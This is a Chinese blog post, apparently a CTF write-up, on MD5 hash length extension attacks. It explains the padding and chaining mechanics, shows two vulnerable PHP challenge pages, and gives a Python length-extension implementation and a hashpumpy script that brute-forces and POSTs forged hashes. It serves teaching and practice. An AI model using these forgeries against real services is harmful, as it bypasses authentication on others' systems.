Ananaskr's Blog
0%

Hash长度扩展攻击

Posted on In

哈希摘要算法，如MD5、SHA1、SHA2等都是基于Merkle-Damgard结构。当知道hash(secret+message)的值及secret长度的情况下，可以轻松推算出hash(secret + message || padding || m’)的值。因为攻击者的hash计算过程，相当于从服务器计算过程的一半紧接着进行下去。当填充后，服务器计算出的原始hash值，正好与添加扩展字符串并覆盖初始链变量所计算出的一样。因此，出现此攻击。

利用场景

  • 在进行验证时使用 md5(secret+message) === hash进行比较

MD5算法流程


根据图，md5的流程分为以下步骤:

  1. 把消息分为n个消息块。每个消息块512bit。
  2. 对最后一个消息进行填充。
    • Append Padding Bits(补位)
    • Append Length(补长度)
  3. 每个消息块会和一个链变量做运算，把运算结果作为下一个链变量。初始链变量固定。
    • A=0x67452301
    • B=0xefcdab89
    • C=0x98badcfe
    • D=0x10325476
  4. 最后一轮产生的链变量经过高低位互换后就是计算出来的md5值。

Append Padding Bits(填充bits)

对最后一个消息块进行补位，使得其长度在对512取模后的值为448。当消息长度不满448bit时，需要在后面加上1，紧跟着多个0(二进制表示)。即16进制中的表示是在后面补上80(10000000)。

Append Length(填充长度)

剩下的最后8个字节储存量补位之前的消息长度。

长度扩展攻击流程

其实这个攻击问题就出在覆盖上，每一个消息块与前一个链变量进行一个运算后的结果会覆盖这个链变量的值。由于在这个攻击中获取到了hash(secret+message)的值，这个值是对(secret+message+padding)与链变量进行运算。

若此时在后面附加上消息，只需要对附加消息进行padding。然后与上一轮产生的链变量进行运算后，进行高低位互换就得到了新的hash值。上一轮的链变量正好是hash(secret+message)值高低位变换后的结果。

因此长度扩展攻击需要满足以下条件:

  • 消息message可控已知
  • secret长度已知(可爆破)
  • 基于Merkle-Damgard构造的算法

案例1

结合一道题目来方便理解:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}

这道题目中，可以得知md5(secret.urldecode("admin"."admin"))的值，且secret的值也已知。满足哈子长度扩展攻击的要求。构造如下的payload，首先将原来的padding值附加在后面作为输入。然后在末尾添加附加的message。

找了如下脚本来计算最后的hash值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import math


F = lambda x, y, z: ((x & y) | ((~x) & z))
G = lambda x, y, z: ((x & z) | (y & (~z)))
H = lambda x, y, z: (x ^ y ^ z)
I = lambda x, y, z: (y ^ (x | (~z)))
L = lambda x, n: (((x << n) | (x >> (32 - n))) & (0xffffffff))
shi_1 = (7, 12, 17, 22) * 4
shi_2 = (5, 9, 14, 20) * 4
shi_3 = (4, 11, 16, 23) * 4
shi_4 = (6, 10, 15, 21) * 4
m_1 = (0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15)
m_2 = (1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12)
m_3 = (5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2)
m_4 = (0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9)


def T(i):
	return (int(4294967296 * abs(math.sin(i)))) & 0xffffffff


def shift(shift_list):
	shift_list = [shift_list[3], shift_list[0], shift_list[1], shift_list[2]]
	return shift_list


def fun(fun_list, f, m, shi):
	count = 0
	global Ti_count
	while count < 16:
		xx = int(fun_list[0], 16) + f(int(fun_list[1], 16), int(fun_list[2], 16), int(fun_list[3], 16)) + int(m[count], 16) + T(Ti_count)
		xx &= 0xffffffff
		ll = L(xx, shi[count])
		fun_list[0] = hex((int(fun_list[1], 16) + ll) & 0xffffffff)
		fun_list = shift(fun_list)
		count += 1
		Ti_count += 1
	return fun_list


def gen_m16(order, ascii_list, f_offset):
	ii = 0
	m16 = [0] * 16
	f_offset *= 64
	for i in order:
		i *= 4
		m16[ii] = '0x' + ''.join((ascii_list[i + f_offset] + ascii_list[i + 1 + f_offset] + ascii_list[i + 2 + f_offset] + ascii_list[i + 3 + f_offset]).split('0x'))
		ii += 1
	for ind in range(len(m16)):
		m16[ind] = reverse_hex(m16[ind])
	return m16


def reverse_hex(hex_str):
	hex_str = hex_str[2:]
	if len(hex_str) < 8:
		hex_str = '0' * (8 - len(hex_str)) + hex_str
	hex_str_list = []
	for i in range(0, len(hex_str), 2):
		hex_str_list.append(hex_str[i:i + 2])
	hex_str_list.reverse()
	hex_str_result = '0x' + ''.join(hex_str_list)
	return hex_str_result


def show_result(f_list):
	result = ''
	f_list1 = [0] * 4
	for i in f_list:
		f_list1[f_list.index(i)] = reverse_hex(i)[2:]
		result += f_list1[f_list.index(i)]
	return result


def padding(input_m, msg_lenth=0):
	ascii_list = list(map(hex, map(ord, input_m)))
	msg_lenth += len(ascii_list) * 8
	ascii_list.append('0x80')
	for i in range(len(ascii_list)):
		if len(ascii_list[i]) < 4:
			ascii_list[i] = '0x' + '0' + ascii_list[i][2:]
	while (len(ascii_list) * 8 + 64) % 512 != 0:
		ascii_list.append('0x00')
	msg_lenth_0x = hex(msg_lenth)[2:]
	msg_lenth_0x = '0x' + msg_lenth_0x.rjust(16, '0')
	msg_lenth_0x_big_order = reverse_hex(msg_lenth_0x)[2:]
	msg_lenth_0x_list = []
	for i in range(0, len(msg_lenth_0x_big_order), 2):
		msg_lenth_0x_list.append('0x' + msg_lenth_0x_big_order[i: i + 2])
	ascii_list.extend(msg_lenth_0x_list)
	return ascii_list


def md5(input_m):
	global Ti_count
	Ti_count = 1
	abcd_list = ['0x67452301', '0xefcdab89', '0x98badcfe', '0x10325476']
	ascii_list = padding(input_m)
	for i in range(0, len(ascii_list) // 64):
		aa, bb, cc, dd = abcd_list
		order_1 = gen_m16(m_1, ascii_list, i)
		order_2 = gen_m16(m_2, ascii_list, i)
		order_3 = gen_m16(m_3, ascii_list, i)
		order_4 = gen_m16(m_4, ascii_list, i)
		abcd_list = fun(abcd_list, F, order_1, shi_1)
		abcd_list = fun(abcd_list, G, order_2, shi_2)
		abcd_list = fun(abcd_list, H, order_3, shi_3)
		abcd_list = fun(abcd_list, I, order_4, shi_4)
		output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff)
		output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff)
		output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff)
		output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff)
		abcd_list = [output_a, output_b, output_c, output_d]
		Ti_count = 1
		print(ascii_list)
	return show_result(abcd_list)

def md5_lea(suffix, res, len_m):
	global Ti_count
	Ti_count = 1
	abcd_list = []
	for i in range(0, 32, 8):
		abcd_list.append(reverse_hex('0x' + res[i: i + 8]))
	ascii_list = padding(suffix, (len_m + 72) // 64 * 64 * 8)  # len(message + padding) * 8
	for i in range(0, len(ascii_list) // 64):
		aa, bb, cc, dd = abcd_list
		order_1 = gen_m16(m_1, ascii_list, i)
		order_2 = gen_m16(m_2, ascii_list, i)
		order_3 = gen_m16(m_3, ascii_list, i)
		order_4 = gen_m16(m_4, ascii_list, i)
		abcd_list = fun(abcd_list, F, order_1, shi_1)
		abcd_list = fun(abcd_list, G, order_2, shi_2)
		abcd_list = fun(abcd_list, H, order_3, shi_3)
		abcd_list = fun(abcd_list, I, order_4, shi_4)
		output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff)
		output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff)
		output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff)
		output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff)
		abcd_list = [output_a, output_b, output_c, output_d]
		Ti_count = 1
	# print(ascii_list)
	return show_result(abcd_list)



if __name__ == '__main__':
	print(md5_lea('kingkk','571580b26c65f306376d4f64e53cb5c7',15))

案例2

这是另一道哈希扩展长度的题目。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<!doctype html>

<html lang="en">
<head>
  <meta charset="utf-8">
  <title>CTF Web_SimplestHASH</title>
</head>
<?php
$myfile = fopen("flag.txt", "r") or die("Unable to open file!");
$flag = fread($myfile,filesize("flag.txt"));
fclose($myfile);
$salt = 0xfffff & (ord(md5($flag, TRUE)[1]));
$myfile = fopen("pswrecord", "r") or die("Unable to open file!");
$tmp = fread($myfile,filesize("pswrecord"));
sscanf($tmp,"%s\t%s",$name,$password);
$hah = md5($flag.$password.$salt);

if(is_string($_POST["name"]) &&  $_POST["name"] == $name){
	if(is_string($_POST["password"]) && is_string($_POST["hah"]) && strlen($_POST["password"]) >= 20 && strlen($_POST["hah"])  == 32 && md5($flag.$_POST["password"].$salt) == $_POST['hah']){
		echo $flag;
	}
}
fclose($myfile);
$_POST['name'] = 0;
$_POST['hah'] = 0;
$_POST["password"] = 0;
$salt = 0;
$tmp = 0;
$flag = 0;
?>
<body>
  <div>
	<img src="/welcome.png" alt="welcome!" />
	We used git.
	<form action="index.php" method="post">
	Name: <input type="text" name="name">
	Password: <input type="password" name="password">
	<input type="password" name="hah" value="<?php echo $hah?>" hidden>
	<input type="submit" value="Login">
  </div>
</body>
</html>

这道题中，可以获取password值为123456。因此，它有如下条件:

  • hash(flag.password.salt)的值确定
  • flag的长度不知，salt为0～255之间的值
  • password为123456

看起来似乎差了flag的长度和salt值，实际上这可以通过爆破来求出flag的值以及salt的值。

利用hashpumpy工具直接编写脚本，十分方便。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashpumpy
import requests
from urllib.parse import quote

for i in range(1, 60):
    print(i)
    for j in range(0, 256):
        x, y = hashpumpy.hashpump('e23879e9135448a6b42f7843a7aeb940', '123456' + str(j), 'ananaskr' + str(j), i)
        data = {"name": "admin", "password": y[:-len(str(j))], "hah": x}
        req = requests.post(data=data, url='http://xx.xx.xx.xx:31016')
        if len(req.text) != 478:
            print(req.text)
            exit()

参考